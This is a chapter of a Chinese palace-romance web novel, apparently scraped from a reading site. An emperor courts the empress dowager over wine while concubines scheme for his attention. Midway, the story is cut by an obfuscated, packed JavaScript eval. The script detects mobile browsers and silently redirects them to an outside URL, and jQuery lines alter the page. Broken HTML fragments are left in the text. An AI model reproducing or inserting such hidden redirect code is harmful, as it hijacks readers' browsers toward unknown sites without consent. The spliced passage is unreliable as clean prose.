19. 浅酌
作品:《朕对卿卿思心若狂》 岁荣回去的时候,皇上就站在廊下似在刻意等人。
“皇上,奴婢回来了。”
帝王掀起眼皮看他:“都送下了?”
“皇上放心,奴婢都已办妥,太后娘娘对您送过去的冰鉴非常满意。”
“奥?”寥深饶有兴致看他,“何以见得?”
岁荣咧了咧嘴角,在事实的基础上适当添油加醋一番以图博得龙颜一悦:“太后见了皇上特意差人送过去的大冰鉴,可是笑得合不拢嘴呐!您瞧!”他从腰间掏出一个锦袋,喜滋滋道,“这袋碎银就是太后赏给奴婢的。”
圣上眉梢上扬,不甚明显:“嗯。”
“还有其余三位娘娘,对皇上那是感恩戴德赞不绝口……”
“好了。”寥深似乎并不在意其余几位的反应,“朕知道了。”
“皇上,江浙急报。”小黄门在月门处通禀。
“呈上来。”
片刻后,帝王眉眼舒展:“江浙的涝灾算是妥善处理好了,你去趟慈宁宫就说朕要同太后共用晚膳。”
刚从慈宁宫赶回来的岁荣:“……是,皇上。”
在御书房又待了两个时辰,寥深估摸着时辰出了门。
甬道里却碰见一人。
“皇上万福。”晏妼柔妆容淡雅,发髻油亮,一看就是精心打扮过的。
寥深眼底沉沉,看不出喜怒:“晏婕妤怎么在这儿?”
“皇上。”晏妼柔人如其名,身娇声柔,皇上两个字叫得柔情似水,“今日皇上差人给嫔妾送了冰鉴,嫔妾铭感五内,特来谢过皇上。”
“晏婕妤过虑了。”帝王神色自然,目光却未在她身上过多停留,“朕还有事,若无要事就先回吧。”
“皇……”
她还想再说,皇帝却没给她挽留的机会,大步朝前去了。
岁荣不敢逗留,紧跟着就要往前赶。
还是晏妼柔身边的大宫女柳素机灵,眼疾手快拉住了岁荣的袖子,压着声量问:“大总管,多嘴问一句,皇上如此匆忙是往何处去啊?”
岁荣何不明白这其中的探寻,却也只是客套一笑:“皇上的心思谁能猜的到呢?”
“总管辛苦。”柳素不动声色将一包沉甸甸的碎银塞进他手中,“可否提点一二啊?”
岁荣娴熟掂了掂锦袋还算衬意,好心提点一句:“皇上喜静,未经召见往后还是不来叨扰的好,以免适得其反。”丢下这么模棱两可的一句话转身去寻主子去了。
晏妼柔望穿秋水的一双眼跟着皇帝飘出老远才不情不愿收了回来,对于皇帝的淡漠她实在想不通,皇帝禁欲多年,为何如今有了后宫反而继续压抑本性……
莫非皇上有什么难言之隐?
“娘娘。”
“啊?”晏妼柔恍然回过神来,“他怎么说?”
“大总管说往后尽量不要私自来寻皇上,以免适得其反。”柳素也纳闷儿,自打娘娘入宫皇上从未宠幸过任何一个后宫女子。
皇上正值壮年,如何都不应该对床】笫之事淡到这个地步。
“娘娘。”柳素四下看看,瞧着无人才敢张嘴,“皇上莫非有不举之症?”
“可不能胡说。”晏妼柔神色一变,细想想这猜测也不是全无可能,不然为何娘子们进宫数日仍无一人能得帝王御幸?
思及此,她蓦然变了副面孔,娇柔神态已然不见,眼神坚毅如石,有种不达目的誓不罢休的韧性子:“即使如此,也要尽力一试。”
后宫女子想要尊荣体面,无非两种,一靠帝王恩宠,一靠膝下儿女。
若是两件皆无,那往后的日子也就望到头了,更遑论想靠帝王恩宠庇佑家族。
“娘娘莫慌。”柳素贴心安抚,“兴许皇上就是心性冷淡,说不定过些时日就好了。”
“但愿吧。”
“娘娘,有人来了,是田修媛。”
晏妼柔赶紧收拾好情绪,照旧展露出柔和无害的笑来:“出门闲逛都能碰到姐姐,真是好巧呢。”
田襄看到柳素手里的食盒,又看了眼自己手里的,一股闷气油然而生,说话也变得口无遮拦:“巧什么巧?还不都是来寻皇上的?怎么?妹妹的回礼没送出去?”
“没有。”晏妼柔不知是听懂了还是没听懂,总之说出来的话尽戳人肺管子,“欸?姐姐也是来给皇上送吃食的么?刚才看姐姐从前边来应该见到皇上了吧?怎么没把心意送出去?还是说……”她面露同情之色,“皇上他不收……”
“怎么会?”田襄是个暴脾气,还死要面子,“是我没追到皇上这才没送出去,不然皇上早收了!”
“姐姐说的是。”晏妼柔乖巧一笑,“姐姐在皇上眼里和我们自然是不一样的,姐姐送的东西皇上自然会收。”
方才送东西当面被拒的田襄:“……”
好你个戳人心窝的小妖精!
两人口中的正主此时此刻正在慈宁宫蹭饭。
凉少荇看到他就头疼,偏还不能轰人。
“冰鉴用得惯么?”
“用得惯的。”抬头对上翠笙意味深长的暗示,接着又补了句,“近来日头毒,皇上冰鉴送的正是时候,多谢皇上。”
“朕今日心情不错,太后可否同朕小酌一杯?”
她自小滴酒不沾,对饮酒也没什么兴趣:“哀家不胜酒力……”
“就一杯。”深色瞳仁里隐约泛着光,细看,又仿佛什么也没有。
凉少荇突然不知该如何拒绝:“好吧……”
慈宁宫的主子虽不饮酒,但依照前朝惯例酒房里照旧存着各式各样的酒。
其中,果酒居多。
翠笙来取酒,岁荣竟也跟着来了。不光跟着,还自作主张挑了坛最烈的。
“总管,娘娘不胜酒力,这酒……有些过了。”
“皇上喜好烈酒,果酒口感偏淡,也就这坛尚能凑和。”和翠笙说话岁荣向来好性儿,虽说出的是驳人意的话,嘴角卷着的笑自始至终就没落下去过,“姑娘放心,皇上和太后饮酒不过图个意境,太后若是喝不惯少喝些皇上也不会介意的。”
他都这么说了,翠笙也不好再说。
饭后浅酌,闲杂人等都被清到了殿外。
岁荣饿得两眼发昏,触及本分站在一旁的翠笙,熟稔落出个笑来:“饿着肚子来的,如今饿得都前胸贴着后背,翠笙姑娘救个急给备些饭食可好啊?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596659|170810||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“大总管稍候。”翠笙转身离开。
好巧不巧,这个节骨眼儿上里头的主子正在唤人:“翠笙,添一只酒杯。”
翠笙办事向来稳妥,这次不知怎的竟少备了一只,该是帝王初次在此饮酒,一时忙乱所致。
外头无人应声,凉少荇又要再喊,坐在对面的帝王开了口:“罢了,酒杯你用,朕用酒壶。”
“那怎么行?”
“怎么不行?”皇上提起酒壶替她斟了一杯,而后拎起酒壶就是一大口,气势豪迈洒脱,全然不似金殿之上的九五至尊克己复礼,“酒不错,尝尝。”
凉少荇浅啜一口,好烈,烧的嘴里瞬间没了知觉。
水眸半阖秀眉皱起,红润的唇珠用力抿紧,似怕抑制不住口中嗔声。
寥深喉头一滚,鬼使神差联想到了她的另一番姿态。
缠绵塌间,红唇半开,娇声细语连绵溢出,难耐神色浮于面颊。发丝乱于枕间,腰腹山峦般起伏。
而这一切的始作俑者正是同在塌间辛苦耕耘的帝王。
思绪戛然而止,寥深强压着心间浪潮,腰腹却逐渐放浪,涨热难忍。
“皇上,你怎么了?”皇上饮酒恍若入了定,身体未动分毫,眼底却迷了雾气,呼吸也有愈发粗重之相。
“没什么。”握在壶柄上的大手出了潮汗,寥深却以超乎常人的毅力迅速压下心头异样,只是喉结滚动,声线微哑,“是壶好酒,就是不够烈。”
这还不烈?
她艰涩睁开眼,勉强压下喉间灼热:“酒房大都是果酒,皇上若是喝不惯哀家可差人去御酒房取酒。”
寥深沉沉抬眼,苍松般的眸中似有火滚。心念忍不住活跃,比之烈酒太后更烈,更香,也更够味。
这话,自然不能说。
暗处的心思只能在暗处萌芽,拔高,死命克制。
“太后只饮了一口果酒就这般姿态,若是换了烈酒还不知会如何?”会如何粉面桃腮,勾人而不自知。
“啊?”凉少荇局促摸了下脸,担心失了太后体面赶紧坐到铜镜前端详一番,除了脸红了些,也没什么。
人离开了桌前,帝王的视线也紧跟了过去。
粘稠暗沉,精魅一般。缠着她脚底的影子一路往上,绕过纤细腰肢,落在胸前的起伏上。
目光陡然加深,呼吸重起来,面上还保持着平静的假象。
“皇上……”
突然回身,撞上那双沉寂寂的眼,惊得人低呼一声。
“怎么了?”帝王就势起身踱到她身后,顺着她白皙的脖颈俯下身去。
镜中两人靠的极近,姿态亲昵,叫谁看了都会误以为两人是晚间共塌的夫妻。
她的脸更红了。
不好明着赶人,只能婉言提醒:“皇上,靠的太近了。”
“什么?”浓郁的果香强势钻入鼻腔,人也跟着靠过来。
靠的更近了。
凉少荇紧张到抑住呼吸,生怕一个不留意唐突了帝王。
眼瞧着面前的人儿面上晕开薄粉,玲珑鼻尖沁出香汗,他的手不受控制抬起,缓缓摸上她的脸。
帝王掌心滚烫,似要将人血液都搅沸。